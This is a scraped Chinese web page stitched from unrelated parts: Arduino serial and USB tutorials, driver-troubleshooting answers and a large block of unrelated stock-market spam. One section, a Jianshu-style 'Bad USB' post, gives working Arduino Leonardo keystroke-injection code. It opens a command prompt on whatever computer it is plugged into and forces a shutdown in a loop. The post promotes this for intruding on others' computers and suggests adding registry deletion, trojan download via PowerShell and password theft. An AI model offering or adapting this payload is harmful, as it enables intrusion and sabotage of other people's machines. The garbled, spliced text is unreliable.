为什么我的usbisp arduinoo不管插哪个usb口

玩转Arduino-串口通信
与计算机通信所使用的USB接口就是下载程序时所用的USB接口,当Arduino与其他设备通信时,需要用到“Serial”系列函数,所以我们要对其有所了解,下面介绍几个常“Serial”函数。
1、Serial.begin()—设置串行每秒传输数据的速率(波特率)。在同计算机通讯时,使用下面这些值:300,
, , 1, 2, 57600或
115200。你也可以在任何时候使用其它的值,比如,与0号或1号接口通信就要求特殊的波特率。
2、Serial.print()—从串行端口输出数据。
3、Serial.println()—从串行端口输出数据,跟随一个回车(ASCII
13, 或 '\r')和一个换行符(ASCII 10, 或 '\n')。这个函数所取得的值与Serial.print()一样。
4、Serial.read()—读取持续输入的数据。
注意观察Arduino板子上的TX/RX指示灯
TX(T:Transmitter
发送)表示为Arduino发送指令信息给计算机,RX(R:Receive
接收)表示为Arduino接收来自计算机的指令信息,当下载程序或与计算机通信时,这两个指示灯就会闪烁。
下面我来用实例说明一下,我们就来编写一个简单的小程序让计算机显示字符串“Hello
World”。并且让一个LED配合一下,小灯闪烁一下就显示一条“Hello World”这样循环进行。
注意观察TX与RX指示灯和pin13口LED的闪烁情况!
那么再来编写一个用计算机给Arduino发送指令的小程序吧,当我们发送"a",LED就会闪烁一下。这是因为我将a赋值给val,Arduino接收到来自计算机的信号后,运行到Serial.read()指令就会将读取的数值赋值给val,经if语句进行判断,如果为真将执行if{
}内指令,所以LED点亮一会就会熄灭,这样应该明白了吧。
输入a再看看pin13接口的吧!
相关文章:
本文转自:
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。作者:影视达人&&时间:今天&&
大灯组虽然依旧为卤素光源,但改为了黑底式设计。同日贯石发展公告,公司拟与济宁经济开发区管理委员出资代表、苏州建鑫建设集团有限公司共同出资设立控股子公司,注册地为山东省济宁经济开发区。为什么arduino上的蓝牙模块在电脑usb作为电源时可以正常工作,而电池作为电源时,就不能工作?从维护公司利益角度考虑,我坚决不能无视其肆意违法的行为。中小板走强创大半年来新高中报“业绩浪”拉开序幕?据上交所上市公司定期报告预约披露情况显示,安琪酵母、天马科技将于7月13日率先披露2017年半年报;九华旅游(603199,股吧)、三峡新材(600293,股吧)紧随其后,将于7月14日披露半年报;健盛集团(603558,股吧)、明星电缆(603333,股吧)半年报披露时间为7月18日。“通过上下游景气度调研,就会发现这个公司业绩大概率超预期还是低预期。随着巴西人越来越熟悉和依赖这种购物模式,相应的电商运营和支付方式也都会更加成熟和多样化。不过市场回归价值本源的投资逻辑仍然未变。熟知央行想法的消息人士表示,日本央行以2月干预时相同的利率进场购债,实际上等同亮出底牌,表明每当海外力量推高日本债券收益率时,央行可能就必须进场捍卫。公司若不能及时有效的开拓市场,消化新增的产能,将对既定的业务发展目标产生不利影响。据了解,公司是湖南省第一家获国家商务部批准取得成品油批发资质的民营石油企业,立足于湖南长株潭城市群区域,面向全省及周边发展。流动性退潮和风险偏好降低后,市场在拥抱流动性、确定性和业绩。此外,中国证券业协会还对行业自律组织参与适当性管理的前期工作、证券行业执行适当性制度的现状、适当性制度建立与执行方面存在的问题等提出强化培训和监督检查的要求。目前此案尚未开庭审理,公司及爱建信托公司正在积极应诉中。银行业金融机构应强化吸收公款存款行为的审计监督,对违规问题严格问责和整改,涉嫌违纪违法的,应移交有关部门处理。”公司方面表示。外汇市场1.国际市场币种开盘最高最低收盘前日收盘涨跌欧元1...13460.05%日元113...28-0.02%英镑1...2920.11%瑞士法郎0...%澳元0...%加元1...29370.15%资料来源:Bloomberg美元兑一篮子主要货币变动不大,因美联储货币政策会议记录显示,因通胀有回软迹象,决策者对美国未来升息步幅有分歧。公司表示,归属于上市公司股东的净利润较上年同期大幅增加,主要系受所在造纸行业执行供给侧改革、国家环保政策趋严、淘汰落后产能等因素的影响,母公司纸产品市场向好、产品销售量及销售价格齐涨,净利润较上年同期大幅增加所致。在新能源汽车产业链投资中,包括上游原材料与中间的电解液、隔膜,以及整车制造等。在尽调过程中,除项目团队外,保证有三个合伙人去过项目现场,主管合伙人至少要见三次创始人。放宽额度7月12日公布的《办法》,给收费公路融资再开一条通道。现货金收报每盎司1,246.97美元;周一曾跌至六周低位1,236.46美元。黄益平认为,除了尝试国际上的沙盒监管、创新中心等一些已见成效的做法之外,中国也应学习识别具有系统重要性的数字金融机构,对其采取压力测试等办法,对其资本金、流动性、业务范围等做一些特殊的监管要求。基金君独家获悉,此次诺德天利合同未能生效,是由于基金公司严格排查一致行动人认购比例所致。ALW17C-R0HK16G1T+1TBSSD1440GTX10808G仅售价29999元。陈家强指出,目前香港是全球最大的离岸人民币中心,处理近75%的人民币支付交易,不少内地企业在香港发行人民币债券,促进香港离岸人民币业务的发展。这四个省份为我国棉纱主产区及主销区,同时充分反映我国棉纱现货贸易流向,区域内棉纺织企业具有较强代表性。MSCI计划分两步实施这个初始纳入计划,以缓冲沪股通和深股通当前尚存的每日额度限制。(目前多以上行趋势为考量回踩切勿追空.有效下破位随盘中给出)郑醇表现实力的时刻到了.甲醇行情预测分析:甲醇今日通过前几日宽幅振荡整理借预期位置2520有效持稳.整体来看上行趋势明显.可继续多单操作或持有。从整体就业率来看,目前在60%上下波动,高于金融危机期间的最低点1.5-1.8个百分点。事实上,本周三挂牌上市的信邦自招股以来市场反应十分热烈,以传统工业股来说,在近期能录得约59倍的公开发售超购额,反映市场普遍看好公司的未来增长。于是。但是6月份决议公布之后,有多位美联储官员发表对通胀表示担忧的言论,很有可能在此次纪要当中凸显出来。受《大气污染防治行动计划》影响,天津港自5月份起已全面停止汽运煤炭、焦炭集港,这无疑对中国焦炭外贸格局形成致命影响。目前乐视的重组标的是乐视影业,市场层面,各大机构和媒体对乐视影业的估值是60亿元左右,加上乐视网的市值,这是一项涉及600多亿元的资产重组。预计两年后,公司总锂盐年产能将达到5.3万吨氢氧化锂、4.7万吨碳酸锂。而为了防护,工人们都穿了比较厚的工作服,“一是为了防晒,二是为防焊接溅落的钢花,一不小心露在外面的皮肤就会烫伤。彼时,*ST华菱转型金控平台的方案已历时一年多博弈终于拿到核准批文,万事俱备。仔细想来,过去不提问题不批评,不是因为没问题,只是心里有顾虑。’他们还会异口同声地说,‘本杰明教授早上好。其中,卫星石化(002648,股吧)预告的净利润增幅仅次于锡业股份,其预计2017年上半年归属于上市公司股东的净利润变动区间为5.2亿元至5.9亿元,变动幅度为3315.94%至3775.78%。
文章点击排行榜查看: 7101|回复: 3
Arduino 控制USB设备(1)硬件基础篇
相较而言,如何将Arduino模拟为USB设备是一个比较简单的事情,比如用Arduino Uno加入电阻伪装成USB Keyboard/Mouse 【参考1】; 或者直接使用芯片是ATmega32U4的板子,比如Leonardo ,Pro Micro等。但是如果你想直接让Arduno能够和USB设备进行交互就需要动一番脑筋了。
经过搜索发现一块 USB Host Shield能够完成上面的目标。
特别注意,国内能够购买到的USB Host Shield有下面两种
image001.jpg (22.35 KB, 下载次数: 1)
13:08 上传
image002.jpg (42.35 KB, 下载次数: 3)
13:08 上传
务必购买下面这种(蓝色板子的)。他们之间芯片都是相同的,用的都是Maxim的MAX3421E芯片,和Arduino用SPI接口通信。差别在于蓝色的那种是有官方网站支持的,用起来会好很多,同时上面多了74AHC125 和 74HCT125【参考2】而红色的是第三方开发出来的。
非常不幸的是,我是在Taobao上佳明电子科技这家购买到红色那块。拿到手开始玩之后惊奇的发现有这样的差别。当然,这也和我在发动之前没有做好功课有很大关系。联系卖家也得不到帮助,没有库,没有电路图,让人郁闷和恼火,冷静下来思考:国内Arduino研发能力很弱,通常都是仿造少有原创,那么买到手的应该也是仿制国外的……功夫不负有心人,找到了他的网站
image003.jpg (37.22 KB, 下载次数: 1)
13:08 上传
顺藤摸瓜,这才搞清楚它和上面蓝色板子差别不大,对付一下还是能用的。前车之鉴,希望后来人在购买硬件上多留心。
然后 Arduino USB Host Shield 的库支持网站是
这一系列文章都是以这个网站作为参考,有兴趣的朋友可以直接上去翻看各种资料会有很多收获。下面就可以开始 Arduino 操作USB设备之旅。
提醒:插在Uno上的时候是下面这个样子,Shield上的USB方向和Arduino的USB方向刚好相反,错开了(千万别搞反了)
image004.jpg (38.28 KB, 下载次数: 1)
13:08 上传
用 Arduino 打造一个自动锁屏装置
上面提到这两个IC 不过具体作用我也没搞明白,看起来对我们使用最常见的Arduino Uno没有影响
image005.jpg (12.82 KB, 下载次数: 1)
13:08 上传
谢谢分享学习一下
请问,你用USB Host Shield完成了什么项目?
suoma 发表于
请问,你用USB Host Shield完成了什么项目?
还没有做项目
Powered byArduino Leonardo 打造 Bad USB - 简书
Arduino Leonardo 打造 Bad USB
嘿嘿嘿,又是一篇猥琐小文。
什么是Bad USB?
BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。
简单来说,就是让USB设备伪装成但却充当键盘,被插入的电脑猝不及防会被迅速输入一定的“指令”,这个指令会让该电脑迅速成为肉鸡。
打造一个廉价Bad USB,实现对 终端机、别人的电脑快速合法化入侵。
Arduino Leonardo
普通安卓USB线
比如我们要实现一个插入优盘就让对方电脑关机的功能:
用Arduino开发者工具,选择
Arduino Leonardo
然后把程序烧录进去
#include &Keyboard.h&
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("shutdown -s -t 10");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
void loop()//循环
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("shutdown -s -t 10");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
已经在多台Windows电脑上试验成功。
当然,你可以实现很多功能
删除系统关键注册表使之蓝屏
调用Powershell下载木马
调用Powershell下载木马及从内存中提取出当前用户的Windows密码
此外,发现了一个专门收集Badusb的Github用户,非常有学习价值。
Web前端 & 极客 & 渗透
先呈上官网原滋原味的介绍,以资鼓励~Arduino mini pro 官方网站 这两天随手玩了玩大名鼎鼎的Arduino,于是又随手写两篇笔记玩玩~ 我玩的不是那个贵到上天,大得吓人的Arduino大儿子UNO,而是在某宝上只要9块就可以带回家的微型迷你版Arduino,称...
前言 本文以攻击者的视野,以非PE作为载体的攻击链作为写作思路,通过对非PE文件类型,攻击方法,安全策略和权限,后门这几个方面进行简单介绍,通过本文,希望让阅读者能对该类型攻击套路有一个新的认识。 为什么是非PE PE作为Windows平台下可执行文件格式,其自身的类型划分...
到目前为止,可以看到有些 Arduino 的函式,由于受到 mBlock 提供的积木功能而无法直接使用,照理来说,因为 mBlock 是基于 Scratch,应可以撰写Scratch Extensions,而按照Scratchbot新功能介绍的说明,可以透过 mBlock ...
http://arduino.osall.com/ http://study.163.com/course/courseMain.htm?courseId=194002#/courseDetail http://book.51cto.com/art/78...
小小云提示:教程作者caterpillar是来自台湾的programmer,所以在一些专有名词的使用上会和我们这边使用的不太一样啦,不过作者也有标注出英文名称,大家自行转换哟(?????????) 通过蓝牙模组,可以让设备之间彼此沟通,在 mBlock 的应用,主要是可不通...
学习交流:158 白老师 一、保持充足的睡眠 研究指出,睡眠不足会导致压力增加,而且通常会使人感到比较饥饿,情绪不稳。并且,人类确实能够在睡眠中,解决日常生活所遭遇到的问题,作梦本身的目的之一,可能就是帮助人解决在醒着的时候所面临的难题。 所以,要想保持良...
之所以一个健壮的系统存在大量类,并且类之间各种关系,目的是结构清晰,尽量做到每个类只负责一个职能,各尽其责。需要完成某件事的时候就组合几个类来达到目的,类似搭积木或者拼图。并且如果能抽象出来统一特征则抽象出父类或者接口,尽可能面向父类或者接口编程,这样就变得更加灵活,很多时...
01 大学同学来帝都出差,和我一起吃饭。 互诉分别后的种种,她大学毕业之后和男朋友一起去了家乡的一个国企,两个人都是双职工,单位给分了宿舍,工作两年后又自己买了房子,车子。 现在在老家也算是过上了中产阶级的悠闲生活。 喝酒吃菜,怀念了美好的大学时光之后,同学有些微醺了,靠近...
随着年龄的增长,越来越多的话已无人交流。你想和别人交流别人也不听不进去。每个人都有每个人的心事。但总要有一个输出的通道。或许简书就是一个很好的通道。今天来到简书,从此开始我的写作开篇。
原创文/时光月老 如果马云年轻时长得酷帅,学生时代是学霸,又是富贵人家的子弟,那么,说不定就不会有今天的首富马云了。 你看当初的马云,高考失败,搬运工,蹬三轮车,名落孙三,背着兜袋做过小贩,这些专有词汇都与他紧紧相连。虽不至于范进中举,那也是扩招才进了杭州师范学院。之后,夜...求助:Arduino UNO(如下图)有三种供电方式:USB供电,5v(供应芯片,下面一排接口中“
按时间排序
三种供电正是arduino有意思的地方。通常是USB供电,即写程序时就由PC供电了。DC口可以接较高电压,由板上5V稳压IC输出5V。+Vin即直接电压输入,大概3.3至6V都没问题,此时USB的供电被切断以保护USB口。mega芯片本身可以在较宽电压下工作,不过外围的TTL电路等不一定正常工作。
你好,原因如下:相信是驱动安装错误。Arduino Uno Rev.1是用FTDI驱动,Rev.2及Rev.3分别是ATmega16U2及ATmega8U2,几个版本都不是用CH340。你可以尝试删除现有的CH340驱动,在重新扫瞄及安装驱动时,手机指定驱动目录为C:\arduino-1.6.8\drivers\或C:\arduino-1.6.8\drivers\FTDI USB Drivers\试试(假设你把arduino IDE安装在C:\arduino-1.6.8\资料夹内)。
接什么传感器啊,哥。
软件打开后 里面tools菜单里的serial port(串行端口)是灰色的有感叹号 说明驱动没安装好或硬件设备出现问题
先安装好驱动再说吧
1、首先在你的电脑上插上“aroduino”,这时候电脑右下角就会显示出来; 插上“aroduino”   2、因为找不到驱动,所以过一会就会看到提示“未能成功安装设备驱动程序”; 提示“未能成功安装设备驱动程序”   3、首先鼠标右击电脑桌面上的“计算机”选择属性选项,然后进入设备管理器,会看到有一个未知设备; 进入设备管理器   4、双击该设备,然后在弹出来的未知设备属性窗口中,点击“更新驱动程序”按钮; 点击“更新驱动程序”按钮   5、接着选择第二项“浏览计算机以查找驱动程序软件”; 选择“浏览计算机以查找驱动程序软件”   6、然后输入你的驱动地址; 输入你的驱动地址   驱动在你的arduino安装文件夹中,如下
  Arduino UNO、Arduino 2560、ADK、Leonardo等驱动地址:
  arduino\drivers\
  Arduino Duemilanove驱动地址:
  驱动地址为:arduino\drivers\FTDI USB Drivers
  7、在安装过程中会看到提示,选择始终安装此驱动(在1.0.5版本中,已经没有了这个过程,如果有提示,点安装即可),然后系统会提示安装成功。 选择始终安装此驱动   8、在设备管理器中,就可以看到arduino的COM口了,问题就解决
需要帮你做设计吗
在设备管理器里看一下是否已经分配了串口号。如果没有分配很定不行。如果分配了还是没有显示可以选择将此驱动卸载,然后拔下设备重新插上安装驱动。这样会解决大多数问题。
感谢您为社区的和谐贡献力量请选择举报类型
经过核实后将会做出处理感谢您为社区和谐做出贡献
确定要取消此次报名,退出该活动?
请输入私信内容:}

我要回帖

更多关于 usb转串口驱动 win7 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信